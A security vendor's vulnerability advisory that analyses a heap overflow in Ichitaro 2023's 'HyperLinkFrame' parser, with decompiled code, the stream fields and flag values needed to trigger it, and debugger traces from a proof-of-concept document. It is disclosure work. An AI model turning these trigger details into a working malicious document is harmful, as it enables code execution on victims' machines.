Talos Vulnerability Report

TALOS-2023-1808

JustSystems Corporation Ichitaro 2023 HyperLinkFrame parser integer overflow vulnerability

October 19, 2023
CVE Number

CVE-2023-38127

SUMMARY

An integer overflow exists in the “HyperLinkFrame” stream parser of Ichitaro 2023 1.0.1.59372. A specially crafted document can cause the parser to make an under-sized allocation, which can later allow for memory corruption, potentially resulting in arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ichitaro 2023 1.0.1.59372
Versions of relevant binaries:

JSTARO26.OCX
File version: 1.0.1.60205

jsvda.dll
File version: 3.3.324.1

jsmisc32.dll
File version: 2.7.1.1

taro33.exe
File version: 1.0.1.59372

PRODUCT URLS

Ichitaro 2023 - https://www.ichitaro.com/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

DETAILS

Ichitaro is a word processor produced by JustSystems, which showcases the ATOK input method system and occupies a large share of the Japanese word-processing market. The Ichitaro word processor supports compatibility with many document formats and provides a broad set of features, allowing it to remain competitive with other available word processors.

Other than the typical document and spreadsheet formats that are provided by the Microsoft Office suite, Ichitaro also supports its native document format, which uses the file extension .JTD. This file format is based on Microsoft’s Structured Storage format that was developed as part of Microsoft’s Component Object Model (COM).

Similar to most document types that utilize this format, the structure of the entire .JTD document is stored within the streams that compose the Structured Storage file format. Thus, to access them, the application will use Microsoft’s Structured Storage API as exposed via COM. When the user opens a document with the application, the “JSTARO26.OCX” library is used to perform the actual loading of the contents of the document. This library will receive information about which document type was opened and then construct the necessary objects to retain the information being parsed out of the file. After a document of the type inherent to this vulnerability is opened, the following method at address 0x3bd1cc26 is executed. This method is an entry point to the parsing of the various compound document streams that compose the file format of the document. Once the method has finished processing streams such as “Font”, “ImageData”, “ItemizationData”, etc., the method at [1] will be called to perform the parsing required for the contents of the “Frame” stream.

void __thiscall object_9d50e8::checkAndProcessStreams_29cc26(object_9d50e8 *this)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  constructor_7106fb(&lv_struc_34);
  v63 = 0;
  lp_oframe_18 = 0;
  p_oframe_60 = this->v_data_68.p_oframe_60;
...
  lv_bool_4c = this->v_data_68.v_field_98 == 2;
  lv_bool_54 = (this->v_data_68.var_24 & 8) == 0;
  lv_bool_58 = this->v_data_68.field_6c == 2;
  lv_field_5c = this->v_data_68.v_field_68;
  lv_decodeSize?_60 = this->v_data_68.v_decodeSize?_b4;
  lv_field_64 = this->v_data_68.v_field_98;
  lp_oframe_68 = this->v_data_68.p_oframe_60;
  p_field_1c = object_9d50e8::fieldOnDemand(1c)_7b161a(this);
  if ( !object_10c89c::processFramesAndStuff_869d0f(                // [1] process "Frame" stream
          p_field_1c,
          lp_oframe_68,
          lv_field_64,
          lv_decodeSize?_60,
          lv_field_5c,
          lv_bool_58,
          lv_bool_54,
          &lv_field_14,
          lv_bool_4c,
          &lv_struc_34) )
  {
LABEL_30:
    v9 = lv_field_14;
    goto LABEL_90;
  }

The following method at address 0x3c2e9d0f is used to process the “Frame” stream. The objects from this stream can require the parsing of related streams, which can influence the way the objects from the “Frame” are used. At [2], the method will call a function that will attempt to decode the contents of 3 streams that are used to provide hints for the “Frame” stream. As the proof-of-concept included with this document does not contain any hints, the method call at [3] will be executed instead. This called method will pre-process the “Frame” stream to count the number of elements that it contains, followed by the method call at [4], which will process the details of the “Frame” stream and the contents of the streams it may depend on.

int __thiscall object_10c89c::processFramesAndStuff_869d0f(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_4,
        int av_decodeSize?_8,
        int av_field_c,
        int av_bool_10,
        int av_bool_14,
        int *ap_result_18,
        int av_bool_1c,
        struc_76106fb *ap_struc_20)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v11 = 1;
  object_10c89c::obArrayMaskItems_777d54(this, 1);
  this->v_figureTypeField_0 = av_bool_10;
  obArray_1ba0eb::constructor_1ba0eb(&lv_obArrayObject_38);
  v18 = 0;
  if ( !obArray_1ba0eb::processHintStreams?_1ba115(&lv_obArrayObject_38, ap_oframe_0) )     // [2] decode frame hints from streams
  {
    struc_2137af::constructor_2137af(&lv_frameStruc_20);
    LOBYTE(v18) = 1;
    struc_2137af::processStream(Frame)_213803(&lv_frameStruc_20, ap_oframe_0);              // [3] decode contents of "Frame" stream
...
  }
  ItemByField_213547 = obArray_1ba0eb::getItemByField_213547(&lv_obArrayObject_38);
  if ( checkFrameHint?_33b9eb(ItemByField_213547, av_4) )
  {
LABEL_13:
    this->v_decodeSize_1c = av_decodeSize?_8;
    this->field_58 = av_field_c;
    v11 = object_10c89c::processStream(FrameNames,Figures)_869e52(                          // [4] process all of the streams related to "Frame"
            this,
            ap_oframe_0,
            av_bool_10,
            av_bool_14,
            av_bool_1c,
            ap_struc_20);
...
  }
...
}

The following method is at address 0x3c2e9e52 and is used by the application to process each of the elements within the “Frame” stream. Depending on the type of object decoded from the stream, the library can access other streams and use the information therein to construct an object that will be referenced later in the function. With regards to the vulnerability, this function will be returned to throughout this document. At [5] the method will construct an object that is is responsible for tracking all of the streams needed to process the “Frame” stream. Immediately following the construction of this object, the method call at [6] will initialize the constructed object and assign individual objects for the “Frame”, “LayoutBox”, “Figure”, “FrameName”, etc. streams as required by the document. Afterwards, the called method will read the header for each of the streams and return. Eventually the method at [7] will be called to decode the “Frame” stream and decode its individual elements.

int __thiscall object_10c89c::processStream(FrameNames,Figures)_869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v12 = this;
  v14 = 0;
  object_10c89c::create_elements(CJelFrameInfo)_777d87(this);
  this->v_figureTypeField_0 = av_bool_4;
  object_1b419a::constructor_1b419a(&lv_object_fc, this->p_owner_38, ap_oframe_0, 1);   // [5] object containing handles to necessary streams
  LOBYTE(v14) = 1;
  object_1b419a::openAllStreams_1b9d27(&lv_object_fc);                                  // [6] open up the necessary streams, reading their header. 
  object_10c89c::decodeStream(Frame)_777c23(this, &lv_object_fc);                       // [7] decode the "Frame" stream
...
  if ( !av_bool_4
    || object_10c89c::process(FrameName)_777770(this, &lv_object_fc)
    && object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(
         this,
         &lv_object_fc,
         ap_oframe_0,
         av_bool_8,
         av_bool_c,
         ap_struc_10) )
  {
    v_length_4 = this->v_obArray(Frame)_64.v_data_4.v_length_4;
    for ( i = 0; ; ++i )
    {
      v13 = i;
      if ( i >= v_length_4 )
        break;
      v10 = this->v_obArray(Frame)_64.v_data_4.p_items_0[i];
      if ( v10 && (v10->v_data_4.v_flag_b8 & 1) != 0 && !(*(v10->p_vtable_0 + 0x134))(v10, &lv_object_fc) )
        goto LABEL_14;
    }
...

The following method, located at address 0x3c1f7c23, will decode the contents of the entire “Frame” stream. When each stream was opened by the calling method, the initial header that is stored at the beginning of the stream was read. After the stream header for the “Frame” stream, a variable number of “block” types may be stored. These block types include a header that contains a 16-bit type followed by a 16-bit length. This length is then used to determine how much data is stored within that block. At [8], the method will fetch an object used for accessing the contents of the “Frame” stream. Afterwards at [9], a block will be read from the stream using the aforementioned object. This block contains a single uint32_t and is used to retain a count of the number of blocks that follow it. This number of blocks is then used by the loop at [10] to decode blocks from the stream into an object that will get appended to an array stored within the method’s object.

void __thiscall object_10c89c::decodeStream(Frame)_777c23(object_10c89c *this, object_1b419a *ap_object_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  p_this = this;
  lp_this_10 = this;
  p_stream_0 = object_1b419a::getStream(Frame)_1b4370(ap_object_0);                             // [8] get object for reading "Frame" stream
  if ( p_stream_0 )
  {
    obArray_1ba0eb::constructor_1ba0eb(&lv_obArray_34);
    v3 = 0;
    v15 = 0;
    obArray_1ba0eb::processHintStreams?_1ba115(&lv_obArray_34, ap_object_0->p_oframe_8c);       // process hint streams
    v_count_777bcc = object_OSEG::readBlock_u32_777bcc(p_stream_0);                             // [9] read uint32_t from block following header
    lv_count_1c = v_count_777bcc;
    ap_object_0->v_framecount_d8 = v_count_777bcc;
    if ( v_count_777bcc > 0 )
    {
      do
      {
        p_baseobject_777b3f = object_10c89c::decode_vobject(Frame)_777b3f(p_this, p_stream_0);  // [10] decode current block from stream
        p_baseobject_777b3f->v_data_4.v_flag_b8 |= 1u;
        v_index_a8 = p_baseobject_777b3f->v_data_4.v_index_a8;
        if ( object_1b419a::property_keyOrIndex?_1ba3e3(ap_object_0) )
        {
          appended = object_10c89c::append_vobject_7a33b0(lp_this_10, p_baseobject_777b3f);     // [10] append object to an array
          v12 = appended;
          if ( appended == -1 )
            JSFC::CxxThrowException(CMemoryException)_1a64f();
          p_baseobject_777b3f->v_data_4.v_index_ac = v_index_a8;                                // [10] update append index of new object
          baseobject_9eafa8::setIndex_1ba2a4(p_baseobject_777b3f, appended);                    // [10] assign frame index into new object
...
        }
...
        ++v3;
      }
      while ( v3 < lv_count_1c );
    }
    v15 = -1;
    obArray_1ba0eb::destructor_1ba72c(&lv_obArray_34);
  }
}

The following method used for decoding an individual block from the “Frame” stream is located at address 0x3c1f7b3f. After the block’s header is read at [11], the contents of the each block within the stream will be decoded by the method. After the header of the decoded block, the structure contained therein is a 32-bit index, followed by a 16-bit type that is decoded at [12]. Once the type has been determined, it will then be used to construct an object using the method at [13]. This logic is performed for every block that is decoded from the stream.

baseobject_9eafa8 *__thiscall object_10c89c::decode_vobject(Frame)_777b3f(
        object_10c89c *this,
        JSVDA::object_OSEG *ap_oseg_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  struc_1b448c::constructor_1b448c(&lv_struc_2c, 0);
  v9 = 0;
  if ( !struc_1b448c::readblock_1ba030(&lv_struc_2c, ap_oseg_0, lvw_type_10) )          // [11] read the block header
    JSFC::CxxThrowException(CMemoryException)_1a64f();
  struc_1b448c::decode_u32_1ba288(&lv_struc_2c, &lv_index_18);                          // [12] decode 32-bit index
  struc_1b448c::decode_ushort_1ba0c9(&lv_struc_2c, &lv_case_14);                        // [12] decode 16-bit type
  p_frameObject_14 = object_10c89c::create_vobject(Frame)_7779f9(this, lv_case_14);     // [13] \ construct object based on type
  (*(p_frameObject_14->p_vtable_0 + 0x64))(p_frameObject_14, lv_case_14);
  baseobject_9eafa8::setIndex_1ba2a4(p_frameObject_14, lv_index_18);
  baseobject_9eafa8::decode_item(Frame)_1ba2b4(p_frameObject_14, &lv_struc_2c);
  struc_1b448c::destructor_1b4579(&lv_struc_2c);
  return p_frameObject_14;
}
\
baseobject_9eafa8 *__thiscall object_10c89c::create_vobject(Frame)_7779f9(object_10c89c *this, int av_case_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  switch ( av_case_0 )
  {
    case 1:
      v10 = JSFC::malloc_181e(sizeof(vobject_9eabf8));              // [13] allocate 0x650 bytes for object
      if ( v10 )
      {
        v5 = vobject_9eabf8::constructor_1ba3f1(v10, this);         // [13] construct object with vftable 0x3c46abf8
        goto LABEL_20;
      }
      break;
...
  }
  v3 = 0;
LABEL_22:
  if ( v3 )
    (*(v3->p_vtable_0 + 100))(v3, av_case_0);
  return v3;
}

After the object is constructed using the 16-bit type from the stream, the method responsible for decoding the “Frame” object will be returned to. At [14], the method will proceed to decode a block from the “Frame” stream into the object that was just constructed using the 16-bit type. At the beginning of the block is a 32-bit key, which is used by other stream parsers within the application to identify the decoded “Frame” object. This key and a 16-bit unsigned integer will then be decoded at [15]. Afterwards at [16] and [17], the method will proceed to decode the entirety of the “Frame” block and store it within its object. At [18], a 32-bit integer containing flags for the “Frame” object is decoded and stored within its object. These flags are later used by the application when processing the objects within the “HyperLinkFrame” stream. Specifically for the vulnerability described by this document, the 18th bit (0x40000) needs to be set on the matching “Frame” object in order to trigger it.

baseobject_9eafa8 *__thiscall object_10c89c::decode_vobject(Frame)_777b3f(
        object_10c89c *this,
        JSVDA::object_OSEG *ap_oseg_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  struc_1b448c::constructor_1b448c(&lv_struc_2c, 0);
  v9 = 0;
  if ( !struc_1b448c::readblock_1ba030(&lv_struc_2c, ap_oseg_0, lvw_type_10) )
    JSFC::CxxThrowException(CMemoryException)_1a64f();
  struc_1b448c::decode_u32_1ba288(&lv_struc_2c, &lv_index_18);
  struc_1b448c::decode_ushort_1ba0c9(&lv_struc_2c, &lv_case_14);
  p_frameObject_14 = object_10c89c::create_vobject(Frame)_7779f9(this, lv_case_14);                                 // construct object using 16-bit type
  (*(p_frameObject_14->p_vtable_0 + 0x64))(p_frameObject_14, lv_case_14);
  baseobject_9eafa8::setIndex_1ba2a4(p_frameObject_14, lv_index_18);
  baseobject_9eafa8::decode_item(Frame)_1ba2b4(p_frameObject_14, &lv_struc_2c);                                     // [14] \ decode contents of element
  struc_1b448c::destructor_1b4579(&lv_struc_2c);
  return p_frameObject_14;
}
\
int __thiscall baseobject_9eafa8::decode_item(Frame)_1ba2b4(baseobject_9eafa8 *this, struc_1b448c *ap_decoder_0)
{
  int v_decodeSize_1c; // edi
  object_10c89c *p_owner_14; // eax
  object_10c89c *v5; // eax

  struc_1b448c::decode_u32_1ba288(ap_decoder_0, &this->v_data_4.v_frameKey_9c);                                     // [15] decode a key used to identify the frame object
  struc_1b448c::decode_ushort_1ba0c9(ap_decoder_0, &this->v_data_4.vw_uint16_a0);                                   // [15] decode uint16_t
...
  v5 = this->v_data_4.p_owner_14;
  if ( !v5 || v5->v_figureTypeField_0 )
    return baseobject_9eafa8::field_20::decode_1ba31e(&this->v_data_4.v_field_20, ap_decoder_0, v_decodeSize_1c);   // [16] decode the rest of the block
  else
    return baseobject_9eafa8::field_20::decode_214b67(&this->v_data_4.v_field_20, ap_decoder_0, v_decodeSize_1c);   // [16] decode the rest of the block
}
\
int __thiscall baseobject_9eafa8::field_20::decode_1ba31e(
        baseobject_9eafa8::field_20 *this,
        struc_1b448c *ap_decoder_0,
        int av_size_4)
{
  struc_1b448c *v3; // edi
  int result; // eax

  v3 = ap_decoder_0;
  struc_1b448c::decode_ushort_1ba0c9(ap_decoder_0, this);                                                           // [17] decode 16-bits
...
  struc_1b448c::decode_u32_1ba288(v3, &this->v_bitflags_70);                                                        // [18] decode 32-bits containing flags about the object
  struc_1b448c::decode_u32_1ba288(v3, &this->field_74);                                                             // [17] decode 32-bits
...
  return result;
}

Once all the decoded objects have been allocated, constructed and assigned into an array, the method at the address 0x3c2e9e52 will be returned to at [18]. The object types that have been decoded from the “Frame” stream will then be referenced by any of the following methods using either their index in the stream that was decoded, or a 32-bit key that was found at the beginning of each “Frame” object within the stream. After an object has been created to contain the array retaining each of the decoded objects, said object will then be used as a parameter for the method call at [19] to process any streams that may require the “Frame” objects.

int __thiscall object_10c89c::processStream(FrameNames,Figures)_869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
...
  object_10c89c::decodeStream(Frame)_777c23(this, &lv_object_fc);           // [18] decoded "Frame" elements
  if ( !lv_object_fc.v_framecount_d8 )
  {
    LOBYTE(v14) = 0;
    object_1b419a::destructors?_1b56fa(&lv_object_fc);
    return 1;
  }
  if ( !av_bool_4
    || object_10c89c::process(FrameName)_777770(this, &lv_object_fc)
    && object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(       // [19] process "HyperLinkFrame" stream
         this,
         &lv_object_fc,
         ap_oframe_0,
         av_bool_8,
         av_bool_c,
         ap_struc_10) )
  {
...
  }
  LOBYTE(v14) = 0;
LABEL_7:
  object_1b419a::destructors?_1b56fa(&lv_object_fc);
  v14 = -1;
  object_10c89c::method_obArrayDoSomething?_535872(this);
  return 0;
}

The following method is responsible for parsing the contents of either the “HyperLinkFrame” or “TableServerData” stream depending on a boolean specified as a parameter. At the beginning of this method at [20], an object is constructed and then initialized with each of the “Frame” objects that were previously parsed. This is because the contents of the “HyperLinkFrame” stream depend directly upon the types of the decoded “Frame” objects, as well as a bit-field that is also contained. After the “Frame” objects index is constructed, the method will enter a loop that will read the contents of the “HyperLinkFrame” stream. Similar to the contents of the “Frame” stream, each encoded object is prefixed with at 16-bit type and a 16-bit length. The 16-bit type is used to indicate the specific “HyperLinkFrame” object that is encoded and terminate the loop when the decoded type is 0xFFFF. Both the decoding of each block and checking for termination can be found at [21]. The vulnerability described by this document occurs when a “HyperLinkFrame” object of type 0x0812 is decoded at [22].

int __thiscall object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(
        object_10c89c *this,
        object_1b419a *ap_object_0,
        JSVDA::object_OFRM *ap_oframe_4,
        int av_bool_8,
        int av_boolean_c,
        struc_76106fb *ap_struc_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  Stream(HyperLinkFrame)_1b4798 = object_1b419a::getStream(HyperLinkFrame)_1b4798(ap_object_0);
  lp_stream(HyperLinkFrame)_20 = Stream(HyperLinkFrame)_1b4798;
  if ( !Stream(HyperLinkFrame)_1b4798 )
    return 1;
  v23 = 0;
  lp_oseg_18 = 0;
  ap_frameTableContainer_c = 0;
  Block = 0;
  v_boolean(d4)_9 = object_1b419a::property_keyOrIndex?_1ba3e3(ap_object_0);
  struc_1b448c::constructor_1b448c(&lv_decoder_3c, 0);
  v25 = 0;
  struc_8307b0::constructor_8307b0(&lv_frameObjects_54);                                                            // [20] construct object for referencing frame objects
  LOBYTE(v25) = 2;
  if ( !v_boolean(d4)_9 )
    goto LABEL_38;
  if ( object_10c89c::collectIndicesFromFrameObjects_77675e(this, &lv_frameObjects_54) )                            // [20] collect all the indexes of each frame object
  {
    if ( !av_bool_8 || object_OFRM::openStreamByName?_132de4(ap_oframe_4, "TableServerData", 16, &lp_oseg_18) )
    {
LABEL_38:
      while ( struc_1b448c::readblock_1ba030(&lv_decoder_3c, Stream(HyperLinkFrame)_1b4798, &lvw_blockType_10) )    // [21] read block from stream
      {
        if ( lvw_blockType_10 == 0xFFFF )                                                                           // [17] terminate reading blocks if type is 0xffff
        {
          v13 = 1;
          goto LABEL_40;
        }
        switch ( lvw_blockType_10 )
        {
          case 0x801u:
            v12 = object_10c89c::method_HyperLinkFrame(801)_535c33(
                    this,
                    &lv_decoder_3c,
                    &lv_frameObjects_54,
                    v_boolean(d4)_9);
            break;
...
          case 0x812u:
            v12 = object_10c89c::method_HyperLinkFrame(812)_869c60(                                                 // [22] call method to decode block type 0x0812
                    this,
                    &lv_decoder_3c,
                    &lv_frameObjects_54,
                    v_boolean(d4)_9);
            break;
...
        }
        if ( !v12 )
          break;
      }
    }
...
  return v13;
}

When parsing a “HyperLinkFrame” block of type 0x0812, the following method will be used to decode its contents. At [23], the method will first decode an unsigned 32-bit integer from the beginning of the block. This integer contains the array index of the “Frame” object that the “HyperLinkFrame” object is referring to and will be used at [24] to fetch a pointer to the relevant “Frame” object. After the referenced “Frame” object has been fetched from the array, at [24], the 18th bit (0x40000) of the flags decoded from the block belonging to the “Frame” object is checked. At [25], a virtual method will be called on the “Frame” object to fetch or construct and return a property from the object in order to continue decoding the rest of the “HyperLinkFrame” block. The virtual method at [25] is only implemented by the “Frame” object of type 0x0001 and is thus required in order to trigger the vulnerability. After a non-null object has been returned, the object will be used with the method call at [26] to decode the contents of the block from the stream.

BOOL __thiscall object_10c89c::method_HyperLinkFrame(812)_869c60(
        object_10c89c *this,
        struc_1b448c *ap_decoder_0,
        struc_8307b0 *ap_frameObjects_4,
        int av_useKey_8)
{
  struc_1b448c *p_decoder_0; // edi
  int v_availableSize?_8; // ebx
  int v_maximum_8; // ebx
  struc_1b448c *IndexByKey?_809655; // eax
  void **p_items_0; // ecx
  baseobject_9eafa8 *p_baseObject_0; // esi
  object_86a878 *v11; // eax
  struc_1b448c *Av_frameKey_8; // [esp+14h] [ebp+8h] FORCED BYREF

  p_decoder_0 = ap_decoder_0;
  v_availableSize?_8 = ap_decoder_0->v_availableSize?_8;
  struc_1b448c::decode_u32_1ba288(ap_decoder_0, &Av_frameKey_8);                                // [23] decode an index for the relevant frame object
  v_maximum_8 = v_availableSize?_8 - 4;
  if ( av_useKey_8 )
  {
    IndexByKey?_809655 = struc_8307b0::getIndexByKey?_809655(ap_frameObjects_4, Av_frameKey_8); // [23] convert the index from the stream to an array index
    Av_frameKey_8 = IndexByKey?_809655;
  }
  else
  {
    IndexByKey?_809655 = Av_frameKey_8;                                                         // [23] use the decoded index as an array index
  }
  if ( !object_10c89c::obArrayCheckItem_1aa72c(this, IndexByKey?_809655) )
    return 1;
  p_items_0 = this->v_obArray(Frame)_64.v_data_4.p_items_0;
  p_baseObject_0 = p_items_0[Av_frameKey_8];
  if ( !p_baseObject_0 )
    return 1;
  if ( !(*(p_baseObject_0->p_vtable_0 + 0xC8))(p_items_0[Av_frameKey_8], 0x40000) )             // [24] check 18th bit in field of frame object
    return 1;
  v11 = (*(p_baseObject_0->p_vtable_0 + 0x174))(p_baseObject_0, 1);                             // [25] fetch field from matching frame object
  return v11 && object_86a878::decode_86ab4f(v11, p_decoder_0, v_maximum_8);                    // [26] call method to finish decoding
}

The following method call is responsible for decoding a “HyperLinkFrame” block of type 0x0812. After decoding a byte and 16-bit unsigned integer at [27], the method will decode a 32-bit unsigned integer from the block at [28]. This integer is used by the stream format to describe the length of a 16-bit wide-character string. Afterwards, the method will use the decoded length to calculate the number of bytes needed to be be allocated. At [29], the method will multiply the 32-bit integer by 2 and then add 2 bytes to allow space for a null-terminator. Due to the size of the integer being a maximum of 32-bits, an integer overflow can be made to occur which will result in an undersized buffer that may be overflown. At [30], a different length will be used to decode bytes from the stream into the undersized buffer before null-terminating the bytes at [31]. As a result of the integer overflow potentially resulting in an undersized allocation, these writes will overflow the allocated buffer and cause memory corruption. This type of memory corruption is a heap-based buffer overflow and can allow for code execution within the context of the application.

int __thiscall object_86a878::decode_86ab4f(object_86a878 *this, struc_1b448c *ap_decoder_0, int av_maximum_4)
{
  struc_1b448c *v4; // edi
  wchar_t *p_buffer_1c; // ecx
  int v6; // esi
  int i; // esi
  wchar_t *lp_wbuffer_20; // [esp+14h] [ebp-20h]
  int lv_size_1c; // [esp+18h] [ebp-1Ch] BYREF
  int v11; // [esp+1Ch] [ebp-18h]
  char lvb_buffer(d)_11[13]; // [esp+23h] [ebp-11h] BYREF
  int v13; // [esp+30h] [ebp-4h]
  struc_1b448c *Avb_boolean_b; // [esp+3Fh] [ebp+Bh] FORCED BYREF

  v13 = 0;
  v4 = ap_decoder_0;
  struc_1b448c::decode_byte?_1ba90f(ap_decoder_0, this);                // [27] decode the next byte from the block
  struc_1b448c::decode_ushort_1ba0c9(v4, &this->vw_field_2);            // [27] decode the next halfword from the block
  v11 = 3; decode the next byte from the block
  struc_1b448c::decode_u32_1ba288(v4, &lv_size_1c);                     // [28] decode a 32-bit unsigned integer from the block
  v11 = 7;
  p_buffer_1c = JSCRT40::CRT40_malloc(2 * lv_size_1c + 2);              // [29] multiply the 32-bit length by 2 and trigger an integer overflow
  lp_wbuffer_20 = p_buffer_1c;
  if ( !p_buffer_1c )
    return 0;
  struc_1b448c::decode_bytes_213c74(v4, p_buffer_1c, 2 * lv_size_1c);   // [30] reuse the unsigned integer as a length
  v6 = 2 * lv_size_1c + 7;
  v11 = v6;
  lp_wbuffer_20[lv_size_1c] = 0;                                        // [31] null-terminate wide-character buffer
  sub_3C27B592(&this->v_wstring_4, lp_wbuffer_20);                      // create a wide-character string object
  JSCRT40::CRT40_free(lp_wbuffer_20);
...
  return 1;
}
\
void *__thiscall struc_1b448c::decode_bytes_213c74(struc_1b448c *this, void *ap_buffer_0, size_t av_size_4)
{
  void *result; // eax

  result = memcpy(ap_buffer_0, this->p_currentPosition_c, av_size_4);   // [30] copy bytes from stream into undersized buffer
  this->p_currentPosition_c += av_size_4;
  return result;
}

Crash Information

The following WinDbg breakpoints will emit information about how the objects in the “Frame” stream are constructed.

bp JSTARO26.OCX+7779f9 ".printf \"(%p) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=%p, int av_case_0=%p)\\n\",poi(@esp),@ecx,poi(@esp+4);gc"
bp JSTARO26.OCX+777b03 ".printf \"(%p) void* JSFC::malloc_181e(size_t=%p)\\n\",@eip,poi(@esp+0); gc"
bp JSTARO26.OCX+777b1a ".printf \"(%p) vobject_9eabf8* vobject_9eabf8::constructor_1ba3f1(vobject_9eabf8* this=%p, object_10c89c*=%p)\\n\",poi(@esp),@ecx,poi(@esp+0); gc"
bp JSTARO26.OCX+777b86 "r@$t0=poi(@esp); .push /r /q; gc"
bp JSTARO26.OCX+777b90 ".pop /r /q; .printf \"lvw_case_14: %#x\\n\", wo(@$t0); gc"
bp JSTARO26.OCX+777b95 ".printf \"baseobject_9eafa8: %p -> %p (+%#x)\\\\n\",@eax,poi(@eax),poi(@eax)-jstaro26; gc"
bp JSTARO26.OCX+777c71 ".printf \"Reading %#x frames from stream..\\n\", @eax; gc"
bp JSTARO26.OCX+869c60 ".printf \"(%p) BOOL object_10c89c::method_HyperLinkFrame(812)_869c60(object_10c89c* this=%p, struc_1b448c* ap_decoder_0=%p, struc_8307b0* ap_frameObjects_4=%p, int av_useKey_8=%p)\\n\",poi(@esp),@ecx,poi(@esp+4),poi(@esp+8),poi(@esp+c);gc"

After assigning the breakpoints, running the following command will allow the application to resume execution.

0:000> g JSTARO26.OCX+869c74 

When the application is running, opening up the provided proof-of-concept will result in the following logs being emitted in the debugger.

Reading 0x13 frames from stream..

lvw_case_14: 0x1
(52f37b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0d84bf38, int av_case_0=00000001)
(52f37b03) void* JSFC::malloc_181e(size_t=00000650)
(0d84bf38) vobject_9eabf8* vobject_9eabf8::constructor_1ba3f1(vobject_9eabf8* this=1508c9b0, object_10c89c*=0d84bf38)
baseobject_9eafa8: 1508c9b0 -> 531aabf8 (+0x9eabf8)

lvw_case_14: 0x1
(52f37b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0d84bf38, int av_case_0=5f800001)
(52f37b03) void* JSFC::malloc_181e(size_t=00000650)
(0d84bf38) vobject_9eabf8* vobject_9eabf8::constructor_1ba3f1(vobject_9eabf8* this=24d089b0, object_10c89c*=0d84bf38)
baseobject_9eafa8: 24d089b0 -> 531aabf8 (+0x9eabf8)

lvw_case_14: 0x4
(52f37b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0d84bf38, int av_case_0=5f800004)
baseobject_9eafa8: 24cd2f20 -> 531ab654 (+0x9eb654)

The fourth item in the stream (index 3) contains the object used by the proof-of-concept. In this case, the size used to allocate space for the object is 0x650 bytes, and the object has been allocated at address 0x24eee9b0. This object is using the virtual function table at offset +0x9eabf8 of the binary.

lvw_case_14: 0x1
(52f37b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0d84bf38, int av_case_0=5f800001)
(52f37b03) void* JSFC::malloc_181e(size_t=00000650)
(0d84bf38) vobject_9eabf8* vobject_9eabf8::constructor_1ba3f1(vobject_9eabf8* this=24eee9b0, object_10c89c*=0d84bf38)
baseobject_9eafa8: 24eee9b0 -> 531aabf8 (+0x9eabf8)

After the debugger has finished emitting all the information from the objects parsed out of the “Frame” stream, the debugger will break at the following call instruction. This instruction decodes a 32-bit integer from the “HyperLinkFrame” stream which contains the index of the “Frame” object that it is associated with.

(53029b7a) BOOL object_10c89c::method_HyperLinkFrame(812)_869c60(object_10c89c* this=0d84bf38, struc_1b448c* ap_decoder_0=0098954c, struc_8307b0* ap_frameObjects_4=00989534, int av_useKey_8=00000000)

eax=00989518 ebx=00000419 ecx=0098954c edx=00000425 esi=0d84bf38 edi=0098954c
eip=53029c74 esp=00989500 ebp=00989510 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
JSTARO26!DllUnregisterServer+0x43323d:
53029c74 e80f0695ff      call    JSTARO26!DRFL_SaveFD3A+0x7d169 (5297a288)

0:000> ub @eip+5 L4
JSTARO26!DllUnregisterServer+0x433237:
53029c6e 8bcf            mov     ecx,edi
53029c70 50              push    eax
53029c71 8b5f08          mov     ebx,dword ptr [edi+8]
53029c74 e80f0695ff      call    JSTARO26!DRFL_SaveFD3A+0x7d169 (5297a288)

After we step over the instruction, we can see that the index which was decoded is 0x00000003 which correlates to the object identified while the “Frame” stream was being parsed.

0:000> r@$t0=poi(@esp)

0:000> p
eax=00989518 ebx=00000419 ecx=15078be0 edx=00000003 esi=0d84bf38 edi=0098954c
eip=53029c79 esp=00989504 ebp=00989510 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
JSTARO26!DllUnregisterServer+0x433242:
53029c79 83eb04          sub     ebx,4

0:000> dc @$t0 L4
00989518  00000003 00989534 00000000 d27359fe  ....4........Ys.

0:000> ? poi(@$t0)
Evaluate expression: 3 = 00000003

